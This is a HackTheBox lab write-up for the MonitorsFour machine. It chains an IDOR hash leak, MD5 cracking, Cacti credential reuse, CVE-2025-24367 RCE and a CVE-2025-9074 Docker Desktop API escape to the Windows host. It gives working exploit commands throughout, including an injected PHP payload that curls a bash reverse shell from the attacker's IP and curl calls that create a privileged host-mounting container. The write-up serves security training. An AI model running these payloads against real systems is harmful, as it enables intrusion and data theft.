Difficulty: Easy
OS: Windows
Release Date: 6th December, 2025
Retire Date: TBD
Link: https://app.hackthebox.com/machines/MonitorsFour


This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.


Table of Contents

  1. Overview
  2. Approach
  3. Reconnaissance
  4. IDOR Vulnerability — Token=0 Credential Leak
  5. Hash Cracking — marcus:wonderful1
  6. Cacti Admin Access — Credential Reuse
  7. CVE-2025-24367 — Cacti Authenticated RCE
  8. Post-Exploitation — Container Enumeration
  9. CVE-2025-9074 — Docker Desktop API Escape
  10. Flags
  11. Key Findings

Overview

MonitorsFour is a medium-difficulty Windows machine layered with WSL2 and Docker Desktop, designed to test understanding of chained vulnerabilities across web, credential, and container attack surfaces. The initial foothold is established through two web bugs in sequence: an IDOR vulnerability (falsy token validation) leaks all user credentials, and credential reuse grants administrator access to a Cacti monitoring instance running version 1.2.28. Authenticated RCE is achieved via CVE-2025-24367, a graph template injection that abuses rrdtool to write a PHP webshell. Inside the resulting Docker container, the Docker Desktop API is exposed unauthenticated on a known WSL2 bridge IP (CVE-2025-9074), allowing the creation of a privileged container with the WSL2 root filesystem mounted — ultimately reaching the Windows host's C:\ drive and the Administrator's desktop.

MonitorsFour Pwned

Attack Chain at a Glance

Port scan → Port 80 (nginx) + Port 5985 (WinRM)
     ↓
Subdomain enumeration → cacti.monitorsfour.htb
     ↓
IDOR: GET /user?token=0 → full user dump with MD5 hashes
     ↓
hashcat / john → marcus:wonderful1
     ↓
Credential reuse → Cacti 1.2.28 full admin
     ↓
CVE-2025-24367 → Graph Template right_axis_label injection
     ↓
rrdtool batch injection → PHP webshell written to webroot
     ↓
Reverse shell as www-data inside Docker container (821fbd6a43fa)
     ↓
uname -a → WSL2 kernel confirmed
     ↓
CVE-2025-9074: Docker API unauthenticated at 192.168.65.7:2375
     ↓
Privileged alpine container + Binds ["/:/mnt/host"]
     ↓
/mnt/host/mnt/host/c/ → Windows C: drive
     ↓
root.txt + user.txt

Approach

The methodology followed a standard black-box penetration testing workflow:

  1. Enumerate exposed TCP ports and services, then expand to virtual hosts and subdomains.
  2. Exploit the falsy-value IDOR on the main site's /user API to dump all credentials.
  3. Crack the extracted MD5 hash offline against the rockyou wordlist.
  4. Reuse the recovered password across all available login surfaces, including Cacti.
  5. Exploit CVE-2025-24367 — an authenticated graph template injection — to obtain RCE inside the Cacti Docker container.
  6. Enumerate the container's network environment to identify the unauthenticated Docker Desktop API.
  7. Abuse CVE-2025-9074 to create a privileged container with the host filesystem mounted, escalating from container to Windows SYSTEM.

No credential brute-forcing was required at any stage.


Reconnaissance

Port Scan

nmap -sC -sV -Pn -p 80,443,5985 10.129.25.157

Results:

Port State Service Notes
80/tcp open http nginx — redirects to monitorsfour.htb
5985/tcp open http Microsoft HTTPAPI 2.0 (WinRM)

The coexistence of nginx (Linux-associated) and WinRM (Windows-only) immediately signals a containerised or WSL2-backed architecture. This observation becomes critical during the privilege escalation phase.

Hosts Configuration

echo "10.129.25.157 monitorsfour.htb cacti.monitorsfour.htb" >> /etc/hosts

Subdomain Enumeration

The main site at monitorsfour.htb presented a static corporate template with a non-functional login form. Subdomain fuzzing revealed the real attack surface:

wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.monitorsfour.htb" --hh 13688 http://10.129.25.157

Result:

000000034: 302   "cacti"   → cacti.monitorsfour.htb

cacti.monitorsfour.htb hosts a Cacti 1.2.28 network monitoring instance — the primary exploitation target.

Lesson: Always enumerate virtual hosts. The main site may be a decoy; the real application often lives on a subdomain.

IDOR Vulnerability — Token=0 Credential Leak

The main site exposes a /user API endpoint that accepts a token parameter for authentication. Testing edge-case values revealed a falsy-value IDOR:

curl "http://monitorsfour.htb/user?token=0"

Response:

[
  {"id":2,"username":"admin","email":"[email protected]",
   "password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user",
   "name":"Marcus Higgins","position":"System Administrator"},
  {"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169","role":"user"},
  {"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user"},
  {"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user"}
]

A complete user dump — including MD5 password hashes — was returned without authentication.

Root Cause

The developer's validation logic evaluates token as a boolean:

if token:           # token=0 evaluates to False in Python, PHP, JavaScript, etc.
    validate_token(token)
else:
    return all_users()  # Reached when token="0"

In many languages 0 is a falsy value. The check if token instead of if token is not None (or equivalent) means token=0 bypasses validation entirely and falls through to the unrestricted return path.

Lesson: Always test 0, -1, null, undefined, and empty strings on every authenticated parameter. Type-juggling vulnerabilities are endemic across web stacks.

Hash Cracking — marcus:wonderful1

All four hashes are 32-character hex strings — classic unsalted MD5. The admin account hash was cracked offline:

echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Result:

wonderful1       (admin)

Verification:

echo -n "wonderful1" | md5sum
# 56b32eb43e6f15395f6c46c1c9e1cd36  ✓

The admin account (full name: Marcus Higgins) uses the password wonderful1. Credentials acquired: marcus:wonderful1


Cacti Admin Access — Credential Reuse

With credentials in hand, both available login surfaces were tested:

Target Credentials Result
monitorsfour.htb login admin:admin Fails
cacti.monitorsfour.htb admin:admin Succeeds — limited user
cacti.monitorsfour.htb marcus:wonderful1 Full admin access
WinRM (port 5985) marcus:wonderful1 Fails (different Windows password)

The marcus username maps to the same password as the IDOR-leaked admin hash, granting full Cacti console access including Graph Templates.

Lesson: Credential reuse is one of the most reliable pivots in real-world engagements. Every recovered password should be tried on every available login form.

CVE-2025-24367 — Cacti Authenticated RCE

Vulnerability Description

Cacti 1.2.28 is affected by an authenticated remote code execution vulnerability via graph template injection. The right_axis_label field in Graph Templates is passed unsanitised to rrdtool when Cacti renders a graph. When rrdtool processes commands in batch mode (piped stdin), newlines in the label value inject additional rrdtool commands into the batch stream.

The exploitation technique abuses rrdtool's graph command with -a CSV output mode: by specifying a .php file as the output destination and embedding PHP code in a LINE1 data element label, rrdtool writes a file to the Cacti webroot whose extension causes Apache/PHP to interpret and execute the embedded code.

Target Template

The "Unix — Logged in Users" graph template (ID 226) is linked to local_graph_id=3, which has an associated data source. The graph_json.php endpoint triggers rendering of this graph.

Exploitation — PoC

A public PoC for this CVE is available from the original machine author:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC
pip install beautifulsoup4

The PoC operates in two stages:

  1. Stage 1 — Payload delivery: Injects a PHP file that downloads a bash reverse shell from the attacker's HTTP server via curl.
  2. Stage 2 — Execution: Injects a second PHP file that executes the downloaded bash script.

The PoC also spawns a temporary HTTP server on port 80 to serve the bash payload file.

# Terminal 1 — reverse shell listener
nc -lvnp 1234

# Terminal 2 — run the exploit
python3 exploit.py \
  -url "http://cacti.monitorsfour.htb" \
  -u marcus \
  -p wonderful1 \
  -i 10.10.14.28 \
  -l 1234

Output:

[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: P2DFn.php
[+] Got payload: /bash
[i] Created PHP filename: G2IQH.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

Injection Payload (internals)

The right_axis_label value injected by the PoC follows this structure:

XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph <RANDOM>.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\x2010.10.14.28/bash\x20-o\x20bash`;?>

The \x20 hex escapes represent spaces within the shell command embedded in the PHP label — necessary because unescaped spaces in rrdtool LINE1 labels would be misinterpreted as argument separators.

Shell Received

connect to [10.10.14.28] from (UNKNOWN) [10.129.25.157] 50776
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$

The hostname 821fbd6a43fa is a Docker container short ID — confirming the initial foothold is inside a container, not the host OS.


Post-Exploitation — Container Enumeration

Kernel Identification

uname -a
# Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 ...

The kernel string microsoft-standard-WSL2 confirms the container is running inside Windows Subsystem for Linux 2 on a Windows host. The full architecture is:

Windows 11 Host
  └─ WSL2 VM (Linux kernel)
       └─ Docker Desktop
            └─ Cacti container  ← www-data shell

User Flag

cat /home/marcus/user.txt
# 0798eeaf2f4d1d232fe1607b819c6a14

CVE-2025-9074 — Docker Desktop API Escape

Vulnerability Description

Docker Desktop for Windows exposes its management API on 192.168.65.7:2375 — the fixed WSL2 bridge IP — without any authentication. All containers running inside the WSL2 VM have network access to this address. An attacker with a foothold in any container can use this unauthenticated API to spawn new containers with host filesystem mounts and Privileged: true, effectively escaping to the WSL2 VM root and, through nested mounts, to the Windows host filesystem.

Step 1 — Confirm API Access

curl http://192.168.65.7:2375/version
{
  "Version": "28.3.2",
  "ApiVersion": "1.51",
  "KernelVersion": "6.6.87.2-microsoft-standard-WSL2"
}

Unauthenticated access to the Docker Engine API confirmed.

Step 2 — Create Privileged Container with Host Mount

curl -X POST http://192.168.65.7:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["sleep", "infinity"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/mnt/host"]
    }
  }'
{"Id":"74ad974c450b0ca2ed3bb87ba2bc88e38dee4fe4a14ef942e5a7d09db726fccb","Warnings":[]}

The "Cmd": ["sleep", "infinity"] ensures the container stays running for subsequent exec calls.

Step 3 — Start the Container

curl -X POST http://192.168.65.7:2375/containers/74ad974c.../start

Step 4 — Execute Commands via the API

Commands are issued through the exec API in two calls: first to create an exec instance, then to start it:

EXEC_ID=$(curl -s -X POST "http://192.168.65.7:2375/containers/74ad974c.../exec" \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["ls","-la","/mnt/host/mnt/host"],"AttachStdout":true,"AttachStderr":true}' \
  | grep -o '"Id":"[^"]*"' | cut -d'"' -f4)

curl -X POST "http://192.168.65.7:2375/exec/${EXEC_ID}/start" \
  -H "Content-Type: application/json" \
  -d '{"Detach":false,"Tty":false}'

Output:

drwxr-xr-x  ...  c        ← Windows C: drive
drwxr-xr-x  ...  wsl
drwxr-xr-x  ...  wslg

Filesystem Path Explanation

The nested mount path /mnt/host/mnt/host/c/ reflects the two-layer virtualisation:

Alpine container
  /mnt/host/          ← WSL2 VM root (Docker bind-mount of /)
    mnt/
      host/           ← Windows drives (WSL2 auto-mount of Windows FS)
        c/            ← Windows C: drive

WSL2 automatically mounts Windows drive letters under /mnt/ within the VM. Because the Docker container mounts the WSL2 root at /mnt/host, the Windows filesystem is reachable at /mnt/host/mnt/host/c/.

Step 5 — Read the Root Flag

EXEC_ID=$(curl -s -X POST "http://192.168.65.7:2375/containers/74ad974c.../exec" \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["cat","/mnt/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],
       "AttachStdout":true,"AttachStderr":true}' \
  | grep -o '"Id":"[^"]*"' | cut -d'"' -f4)

curl -s -X POST "http://192.168.65.7:2375/exec/${EXEC_ID}/start" \
  -H "Content-Type: application/json" \
  -d '{"Detach":false,"Tty":false}'
"5d4e1dccc8c2f570481966f1b4bb99f7

Flags

Flag Value
user.txt 0798eeaf2f4d1d232fe1607b819c6a14
root.txt 5d4e1dccc8c2f570481966f1b4bb99f7

Key Findings

# Finding Severity Impact
1 IDOR via falsy token valueGET /user?token=0 returns all users and password hashes due to if token instead of if token is not None High Full credential database exposed to unauthenticated attackers
2 Unsalted MD5 password storage — all user passwords stored as raw MD5, trivially reversible against wordlists High Credential recovery in seconds for common passwords
3 Credential reuse across services — the same password used on the internal API, Cacti login, and (partially) system accounts High Single compromised credential pivots to full application admin
4 CVE-2025-24367 — Authenticated RCE in Cacti 1.2.28 via unsanitised right_axis_label field passed to rrdtool in graph templates Critical Arbitrary OS command execution as the web service user inside the container
5 CVE-2025-9074 — Unauthenticated Docker Desktop API exposed on 192.168.65.7:2375 — reachable from all containers within the WSL2 VM Critical Any container can create new privileged containers with arbitrary host filesystem mounts, escaping container isolation entirely
6 WSL2 filesystem cross-mount — Docker privileged containers can reach the Windows host filesystem through nested WSL2 auto-mounts at /mnt/host/mnt/host/c/ High Container-level code execution escalates to Windows Administrator file read/write

Tools Used

Tool Purpose
nmap Port scanning and service fingerprinting
wfuzz Virtual host / subdomain enumeration
curl IDOR exploitation, Cacti API interaction, Docker API abuse
john + rockyou.txt Offline MD5 hash cracking
CVE-2025-24367 PoC (TheCyberGeek) Cacti authenticated RCE via graph template injection
netcat Reverse shell listener
Docker Engine REST API Container creation, start, exec — all via unauthenticated HTTP